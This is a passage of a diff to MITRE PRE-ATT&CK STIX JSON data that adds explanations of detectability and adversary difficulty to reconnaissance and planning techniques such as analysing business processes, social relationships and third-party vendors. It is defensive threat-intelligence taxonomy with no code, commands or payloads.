+            "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include  architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -393,16 +413,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weakness automatically."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze business processes",
-            "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other  (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other  (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access.  Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -424,16 +446,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "To get any kind of fidelity into business processes would require insider access.  Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--773950e1-090c-488b-a480-9ff236312e31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze data collected",
-            "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc.  They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc.  They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically.  Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -467,16 +491,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weaknesses automatically.  Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze hardware/software security defensive capabilities",
-            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -498,16 +524,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze network traffic to determine security filtering policies, packets dropped, etc."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported.  In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -529,16 +557,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported.  In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -560,16 +590,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -591,16 +623,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No access to who is consuming the job postings to know what is being observed.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Job postings have to be made public for contractors and many times have the name of the organization being supported."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze presence of outsourced capabilities",
-            "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities.  In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -626,16 +660,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyzing business relationships from information gathering may provide insight into outsourced capabilities.  In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze social and business relationships, interests, and affiliations",
-            "description": "Social media provides insight into the target's affiliations with groups and organizations.  Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social media provides insight into the target's affiliations with groups and organizations.  Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public sources are external to the defender's organization.  Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]).  Social media also provides insight into the target's affiliations with groups and organizations.  Finally, certification information can explain their technical associations and professional associations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -657,16 +693,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public sources are external to the defender's organization.  Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]).  Social media also provides insight into the target's affiliations with groups and organizations.  Finally, certification information can explain their technical associations and professional associations."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Anonymity services",
-            "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities.  Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities.  Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Depends on service.  Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -692,16 +730,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Depends on service.  Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess KITs/KIQs benefits",
-            "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories.  An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories.  An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -723,16 +763,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess current holdings, needs, and wants",
-            "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -766,16 +808,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess leadership areas of interest",
-            "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -797,16 +841,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess opportunities created by business deals",
-            "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Most of this activity would target partners and business processes.  Partners would not report.  Difficult to tie this activity to a cyber attack.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability.  While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -832,16 +878,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Most of this activity would target partners and business processes.  Partners would not report.  Difficult to tie this activity to a cyber attack.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability.  While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess security posture of physical locations",
-            "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network.  However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social engineering and OSINT are still generally successful.  Physical locations of offices/sites are easily determined.  Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -867,16 +915,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Physical security is often unaware of implications of physical access to network.  However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Social engineering and OSINT are still generally successful.  Physical locations of offices/sites are easily determined.  Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess targeting options",
-            "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible).  Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case.  OSINT can provide many avenues to gather intel which contain weaknesses.  Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -902,16 +952,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible).  Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case.  OSINT can provide many avenues to gather intel which contain weaknesses.  Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--1def484d-2343-470d-8925-88f45b5f9615",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess vulnerability of 3rd party vendors",
-            "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners.  Target network would not know that their 3rd party partners were being used as a vector.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties.  Finding major partners would not be difficult.  Significantly easier with insider knowledge.  Vulnerability scanning the 3rd party networks is trivial.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -937,16 +989,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "3rd parties would most likely not report network scans to their partners.  Target network would not know that their 3rd party partners were being used as a vector.",
+            "x_mitre_difficulty_for_adversary": "Yes",
